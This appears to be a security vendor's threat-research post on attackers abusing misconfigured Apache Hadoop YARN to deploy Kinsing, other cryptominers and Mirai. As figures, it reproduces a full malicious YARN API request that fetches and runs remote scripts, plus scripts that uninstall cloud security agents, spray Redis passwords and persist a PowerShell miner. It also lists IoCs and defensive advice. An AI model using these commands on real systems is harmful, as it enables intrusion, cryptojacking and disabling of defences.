Threat Actors Exploit Misconfigured Apache Hadoop YARN

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Cloud

We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible for executing tasks on the cluster. This analysis covers the payloads deployed, the tactics used in the attacks, and basic recommendations for strengthening cloud security.

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The <u>misconfiguration</u> and resulting exposure of <u>cloud services</u> is one of the most prevalent risks in the Linux threat landscape. We previously analyzed incidents related to this security concern, such as an <u>exposed</u> <u>Docker API</u> being abused by threat actors in the wild and <u>exposed Redis instances</u> that threat actors actively search.

This blog post will focus on another piece of the puzzle: <u>Apache Hadoop YARN</u>, a part of the <u>Hadoop</u> <u>framework</u> that is responsible for executing tasks on the cluster.

It should be noted that the exposure of these cloud services is *not* because they are inherently unsecure, but only because of misconfiguration. Nevertheless, this is an alarming security risk as it allows remote code execution (RCE) on the cluster. Unfortunately, threat actors have been actively <u>exploiting these services</u> for years.

POST /ws/v1/cluster/apps HTTP/1.1 Host: :8088 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.18.4 Content-Length: 476 Content-Type: application/json

{"am-container-spec": {"commands": {"command": "(curl -s http://209.141.40.190/xms || wget -q -0 http://209.141.40.190/xms || lwp-download http://209.141.40.190/xms /tmp/xms) | bash -sh; bash /tmp/
xms; rm -rf /tmp/xms; echo
cHl0aG9uIC1jICdpbXBvcnQgdXJsbGli02V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDkuMTQxLjQwLjE5MC9kLnB5Iikuc
mVhZCgpKSc= | base64 -d | bash -"}}, "application-id": "application_1622138918780_0002",
"application-type": "YARN", "application-name": "get-shell"}

Figure 1. Example of malicious request on an exposed YARN service

To examine this risk, we experimented with exposing such services in the wild. We then learned that it didn't take too long for threat actors to find the exposed service and deploy various malicious payloads. In the following section, we will discuss the malware families targeting exposed YARN services.

Payloads deployed in the attacks: Kinsing and other cryptojacking malware

As <u>cryptojacking</u> malware is known to be one of the dominant and common payloads for <u>Linux environments</u>, it is no surprise that they were deployed in the YARN service as well. In this case, the payload belongs to a well-known malware family — Kinsing (detected as Trojan.Linux.KINSING.AB and Trojan.SH.KINSING.G).

At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the YARN then creates a launch script that incorporates the attackers' commands.

```
# Creating copy of launch script
cp "launch_container.sh" "/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/containe
chmod 640 "/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/container_1621421098277
# Determining directory contents
echo "ls -1:" 1>"/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/container_1621421
ls -1 1>>"/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/container_1621421098277_
echo "find -L . -maxdepth 5 -ls:" 1>>"/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/cont
find -L . -maxdepth 5 -ls:" 1>>"/usr/local/hadoop/logs/userlogs/application_1621421098277_0014/cont
echo "broken symlinks(find -L . -maxdepth 5 -type 1 -ls):" 1>>"/usr/local/hadoop/logs/userlogs/application_1621421098277_0
echo "Launching container"
exec /bin/bash -c "curl 194.38.20.199/h2.shlsh & disown"
```

executing script produced by YARN

Once the Hadoop container script is executed, it downloads a remote script that deploys Kinsing malware.

```
BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="http://194.38.20.199/kinsing"
BIN_DOWNLOAD_URL2="http://194.38.20.199/kinsing"
BIN_NAME="kinsing"
Figure 3. Example of a Kinsing family identifier
BIN_NAME="kinsing"
```

It also deploys a Go-compiled binary with spreading capability. This binary communicates with the remote <u>command-and-control (C&C)</u> server, providing a backdoor to the infected system as well as deploying the known Kinsing cryptojacking process called kdevtmpfsi.

Notably, Kinsing is not the only cryptojacking malware found there. The cryptocurrency mining arena remains a <u>battlefield for resources</u>. We found a competitor cryptojacking malware in Hadoop YARN as well. This competing malware then proceeds to eradicate Kinsing from the system.

```
ps aux | grep -v grep | grep -E ``\./python|]avae|zgrab|init\.sh|monero|xmrig|pnsc
an|zzh|\./crun|kdevtmpfsi|kinsing|masscan|sshpass|sshexec|xms|load\.sh|bashirc|db
used|cnrig|attack|/var/tmp/ip|scan\.log|dovecat|solr\.sh|solrd|donate-level|netwo
rk0[0-1]|srv00[1-9]|srv01[0-2]" | awk '{print $2}' | xargs -I % kill -9 %
```

Figure 4. Example of cryptojacking competition inside Hadoop YARN deployed payloads

Threat actors aiming to exploit these misconfigured cloud services commonly employ several tactics.

First, threat actors disable the system's protection. As security solutions for cloud services become more popular in enterprises, threat actors adapt by searching for and attempting to uninstall protection software. This functionality is common in cryptojacking malware.

```
if [ $(id -u) -eq 0 ]; then
    systemctl stop bot
    apt-get -y install curl
    yum -y install curl
    if ps aux | grep -i "[a]liyun"; then
        curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
        pkill aligun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aligun.service
        systemctl disable aligun.service
        service bcm-agent stop
        uum remove bcm-agent -u
        apt-get remove bcm-agent -y
    elif ps aux | grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/gcloud/monitor/barad/admin/uninstall.sh
    fi
```

fi

Figure 5. Example of cloud security tools and services removal

Threat actors also gather credentials. With the ever-increasing variety of platforms that require authentication for access, the need for access tokens and so-called <u>secrets</u> — sensitive information such as credentials used to access systems — also grow. It's not uncommon for users who have a hard time keeping track of them to save these on the machines where they are used. Sadly, this is done without any additional <u>protection</u>. Threat actors are aware of this, and those who successfully access the systems actively seek these unshielded credentials.

And of course, they don't stop with harvesting: they also use these credentials to gain entry into other systems — even non-cloud ones — to infect them. We have similarly observed this behavior in a previous <u>research</u> <u>paper on TeamTNT</u>. With this, it can be deduced that threat actors try to infiltrate as many systems as possible to maximize their gains.

Figure 6. Example of maximizing the infection based on research of SSH usage on victim's system

It should be emphasized that if the private key that the threat actors used for accessing another system was protected by the owner with at least a passphrase encrypting for the key, the infection of the target system will be unsuccessful. This highlights the importance of employing such security precautions.

Finally, as we shared in our previous research on the <u>Linux threat landscape</u>, we found out that it is quite common for threats to spread from one infected device to another. To do this, threat actors are using port scanning tools such as masscan to identify exposed and vulnerable services. Once these services are identified, the threat actors try to deploy their payload.

```
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a redis --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a root --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a oracle --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a password --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@asw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@ssw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@ssw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
```

Figure 7. Example of infection attempt to exposed Redis instance

Other malware variants and environments

The list of payloads would be incomplete without mentioning the infamous Mirai botnet. A threat that is commonly seen in <u>internet of things (IoT)</u> environments, it later evolved and also targeted other platforms such as <u>Hadoop YARN infected containers</u>.

Index of /batata

<u>Name</u>	Last modified	<u>Size</u> <u>Description</u>	
Parent Directory		-	
Winbox.arm	2021-05-27 10:49	49K	
Winbox.arm5	2021-05-27 10:49	41K	
Winbox.arm6	2021-05-27 10:49	57K	
Winbox.arm7	2021-05-27 10:49	116K	Figure 8. Ex
Winbox.m68k	2021-05-27 10:49	46K	
Yinbox.mips	2021-05-27 10:49	62K	
Winbox.mpsl	2021-05-27 10:49	63K	
Winbox.ppc	2021-05-27 10:49	45K	
Winbox.sh4	2021-05-27 10:49	41K	
Winbox.spc	2021-05-27 10:49	49K	
Winbox.x86	2021-05-27 10:49	42K	

Figure 8. Example of open

directory of Mirai builds for different architectures

Since the Hadoop YARN service can also run on Windows, threats that were crafted for this platform can also be found in the cluster.

```
echo F | xcopy /y $payload_path $HOME\newdat.ps1
SchTasks.exe /Create /SC MINUTE /TN "Update service for Windows System" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden
if(!(Get-Process $miner_name -ErrorAction SilentlyContinue))
{
    Write-Output "Miner Not running"
    Start-Process $miner_path -windowstyle hidden
}
```

Figure 9. Example of malicious power shell script

Strengthening cloud service security

As reliance on online systems continues to grow, cloud services are becoming a vital part of enterprises. Cloud security should not be taken for granted. Here are some recommendations:

- **Deliberately configure cloud service.** Users can maximize the built-in security settings afforded by these platforms.
- Employ the principle of least privilege. Here, users will only be granted the minimum amount of access required for their task.
- Adhere to the shared responsibility model. Users, and not just cloud service providers, are responsible for keeping these platforms secure.

• **Don't store credentials in plaintext; consider using secret vaults.** These store secrets in encrypted form. They can also be used to alter <u>secrets</u> from one place and reflect that modification to multiple applications without the need for a code change.

Cloud security solutions, such as <u>Trend Micro Cloud One</u>[™], help enterprises secure cloud services. The platform includes:

- <u>Workload Security</u>: runtime protection for workloads
- Container Security: automated container image and registry scanning
- File Storage Security: security for cloud file and object storage services
- Network Security: cloud network layer IPS security
- Application Security: security for serverless functions, APIs, and applications
- Conformity: real-time protection for cloud infrastructure secure, optimize, comply

Indicators of Compromise

Hashes

SHA-265	Trend Micro Pattern Detection
25d19152363063eb2b1976b416452e63ad21c205f727837d38d17 001831f17f3	Trojan.Linux.KINSING.AB
ec5ed2498945a5b0b1c1f149e201d7395bf3cb1c50f471d82050002 8ffe19d53	Trojan.SH.KINSING.G
d17b00fd7687d2de31b0dd3b43d468f1de281002228361ef3125b92 de0c08772	Trojan.SH.CVE20207961.SM
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb43 3cc459938b	Coinminer.Linux.MALXMR.PUWEMA
11547e36146e0b0956758d48faeb19d4db5e737dc942bc7498ed86 a8010bdc8b	Coinminer.Win32.MALXMR.TIAOODGJ
1caf7ed35dcb8eddb5bca9120294bc79e7d9a24d451bc0fbebb2195 fa5826808	Coinminer.Win32.MALXMR.TIAOODGJ
7cd493e9a14eb33279a96fe025aae0ff37712a300e83dd334cff8ce1 38fd721a	Coinminer.Win32.MALXMR.TIAOODGJ
83c4ff76659aec8db03942b3b7094736e4377048166839d3ab4760 67fbc2f892	Coinminer.Win32.MALXMR.TIAOODGJ
559a8ff34cf807e508d32e3a28864c687263587fe4ffdcefe3f462a70 72dcc74	Coinminer.Win32.MALXMR.TIAOODDS /16.845.00

a5604893608cf08b7cbfb92d1cac20868808218b3cc453ca86da0a	Coinminer.Win64.MALXMR.SMA
baeadc0537	/16.845.00
b5584e223d79a1bac7dd75e707f8a6f1be2edd1334d194f30a1c060c 11ec130d	Coinminer.MSIL.MALXMR.TIAOODBF
e7446d595854b6bac01420378176d1193070ef776788af12300eb77	Coinminer.Linux.MALXMR.UWEKM
0a397bf7	/16.845.00
fe0816092e006960f2261a3fa919b577aa392291bb0a11149805c651 ac633909	Coinminer.SH.MALXMR.UWEKA
1b7e6877d9cc8f4a64e097dbccac1eef9c596fed743d495d5eb9658 bb92e3010	Trojan.Win64.MALXMR.N
01b4ccc7be55485ff529ca1f92fd5dbefcce93e13720a8b4d5d3385 e944fff8a	Trojan.SH.MALXMR.UWELB
bc79c734cb4378e1d13e429b6237fcee52a1261a396219add751462 d0a1ae1b0	Trojan.Linux.MALXMR.UWELD
508ec039ca9885f1afc6f15bb70adfa9ed32f9c2d0bff511052edb3989 8951c7	Trojan.Python.MALXMR.I
653e638e6e38636b0f14ce233661947f624011ef36f7c7edbc8a7614 248c3fce	Trojan.Python.MALXMR.I
599393e258d8ba7b8f8633e20c651868258827d3a43a4d0712125b c487eabf92	PUA.Win64.PhoenixMiner.E
f5d0572b2a5c76bfcf5986b6fbbc96d2cd44da36ae08d2633284fa4	Backdoor.Linux.MIRAI.SMMR1
782fe68bf	/16.845.00
fa212943d8c9a66e5087ffd73901a887fea6a5bc657db87575889d2	Backdoor.Linux.MIRAI.SMMR1
0f99a2a40	/16.845.00
8a932e992dde32dfa422691ccf46681050bb675472a2877fdc7d69fb	Backdoor.Linux.MIRAI.SMMR1
36817c8a	/16.845.00
1ab11b57b2848c4ed513acb453cc08b2be65087485ae5fb05b8535f	Backdoor.Linux.MIRAI.SMNM4
a99645d7b	/16.845.00
6aa250a48dc8e50dd2d96e638eb223a72862441cf41972ecd8529	Backdoor.Linux.MIRAI.SMNM4
d1c3fe02c8d	/16.845.00
30a36bcc9c9939d7f1ce76965e17cbb0b4514c41ccfda0e8648f117a	Backdoor.Linux.MIRAI.USDSEFM21
037c8567	/16.845.00

807a6d1de933d35d2793d0932f6ea6a15ee4f76dd3ee91fff4c4f54	Backdoor.Linux.MIRAI.USDSEFM21
c1bd0f2e1	/16.845.00
44bd5e06802690ceef122c321bc9bc1b570c8738c9d23260ca32	Backdoor.Linux.MIRAI.USDSEFM21
ee0e4eba5e0f	/16.845.00
1a372a7e7da228278fbeeff1964066eef45f3cf0ae3293031728c69	Backdoor.Linux.MIRAI.USDSEFM21
fb8d92b3e	/16.845.00
09634a6fab8acacf01b60c0acba85d222d4ad40483259d193cd5	Backdoor.Linux.MIRAI.USDSEFM21
6c5311449d93	/16.845.00
ac7525e69dc3c07ce43344a8b58dca1436088dd2c21878e2dae8b	Backdoor.Linux.MIRAI.USDSEFM21
30a69e4d80f	/16.845.00
3c250e10153ae0eea58ee17e04868f4fed568f4587774de27f31affb	Backdoor.Linux.MIRAI.USELVEO21
85a7fa19	/16.845.00
e55c980a3eddb47a26af86af1ce80ae7a251648923770d5feea7c7	Backdoor.Linux.MIRAI.USELVEO21
4b1e7dfbf5	/16.845.00
fe176f4af1beabf9b85bb93f3f585d491209430a11e4376ea8106a2	Backdoor.Linux.MIRAI.USELVEO21
974761387	/16.845.00
aaaf9574ee271ad917dad99318084256062bbbc7fe90449021963	Backdoor.Linux.MIRAI.USELVEO21
061104a250e	/16.845.00
b2ab91b682b3b36a31836df30d8298f804697240eddbb52910	Backdoor.Linux.MIRAI.USELVEO21
01c1c588ed832d	/16.845.00
23656bbf8b94a039f062d24e40fbea51b9aadb29eaeaa7e9a8	Backdoor.Linux.MIRAI.USELVEO21
34a43ff378bdab	/16.845.00
43cbd16376a32ad679aba66e276c644524f275851b991db7602	Backdoor.Linux.MIRAI.SMMR1
95c9160e753f4	/16.845.00
8971773fb614498d64a5220e48da87a9d395faa326bfc66d77	Backdoor.Linux.MIRAI.SMMR1
5815908b18cdb5	/16.845.00
e74d856b07ebcf4c3b21425918daed075f10b3b14f9f97aadf3a	Backdoor.Linux.MIRAI.SMMR1
2ada96d8a892	/16.845.00
2706f6fa6b0da69436513b0790a9194dcdd2463a5150b9d00 699fa30708a9ff9	ELF_MIRAILOD.SM/16.845.00
76d42ec36a9157ba20ccc643d59d8a735ea31016ac1064dc92	Backdoor.Linux.GAFGYT.USELVEO21
b4843a578c1520	/16.845.00

9a4c8cf6336544d27c62355b85a882fd8137a336d4aaa893d16 07ef1b4aa2743	Backdoor.Linux.GAFGYT.USELVEO21 /16.845.00
9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f 1c6a18c8ab2	HackTool.Linux.PortScan.A/16.845.00
1225cc15a71886e5b11fca3dc3b4c4bcde39f4c7c9fbce6bad5e4d3 ceee21b3a	HKTL_SSHBRUTE/16.845.00
558c12a703cac54a1a1206d80b12203d323b869e486a18c4340a0 9ff0a482570	TROJ_FRS.VSNW18E21/16.845.00

b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a PUA.Win32.XMRig.KAZ 86de09

URL

URLs	Category
hxxp://update.aegis.aliyun.com/download/uninstall.sh	Disease Vector
hxxp://update.aegis.aliyun.com/download/quartz_uninstall.sh	Disease Vector
hxxp://h.epelcdn.com/dd210131/pm.sh	Disease Vector
hxxp://h.epelcdn.com/dd210131/phpupdate	Malware Accomplice
Coin Miners	
hxxp://176.123.7.127/id210131/phpupdate	Malware Accomplice
Coin Miners	
hxxp://176.123.7.127/id210131/newdat.sh	Malware Accomplice
hxxp://h.epelcdn.com/dd210131/newdat.sh	Malware Accomplice
hxxp://176.123.7.127/id210131/config.json	Disease Vector
hxxp://h.epelcdn.com/dd210131/config.json	Disease Vector
hxxp://176.123.7.127/id210131/networkmanager	Malware Accomplice
hxxp://h.epelcdn.com/dd210131/networkmanager	Malware Accomplice

hxxp://176.123.7.127/id210131/phpguard	Malware Accomplice
hxxp://h.epelcdn.com/dd210131/phpguard	Malware Accomplice
hxxp://h.epelcdn.com/dd210131/spre.sh	Disease Vector
hxxp://209.141.40.190/xms	Insecure IoT Connections
Disease Vector	
hxxp://209.141.40.190/hxx	Malware Accomplice
Disease Vector	
hxxp://209.141.40.190/pas	Disease Vector
Coin Miners	
hxxp://209.141.40.190/scan	Disease Vector
hxxp://bash.givemexyz.in/x86_64	Disease Vector
hxxp://h.epelcdn.com/dd210131/1.0.4.tar.gz	Disease Vector
hxxp://h.epelcdn.com/dd210131/scan.sh	Disease Vector
hxxp://bash.givemexyz.in/i686	Disease Vector
hxxp://bash.givemexyz.in/bashirc.i686	Malware Accomplice
Disease Vector	
hxxp://bash.givemexyz.in/x64b	Malware Accomplice
hxxp://bash.givemexyz.in/x32b	Malware Accomplice
hxxp://209.141.40.190/x86_64	Coin Miners
hxxp://209.141.40.190/bashirc.x86_64	Disease Vector
Coin Miners	

hxxp://209.141.40.190/i686	Disease Vector
Coin Miners	
hxxp://209.141.40.190/bashirc.i686	Disease Vector
Coin Miners	
hxxp://168.138.143.186/batata/Winbox.arm6	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.arm7	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.m68k	Malware Accomplice
hxxp://209.141.40.190/ps	Disease Vector
Coin Miners	
hxxp://168.138.143.186/batata/Winbox.mips	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.mpsl	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.ppc	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.sh4	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.spc	Malware Accomplice
hxxp://168.138.143.186/batata/Winbox.x86	Malware Accomplice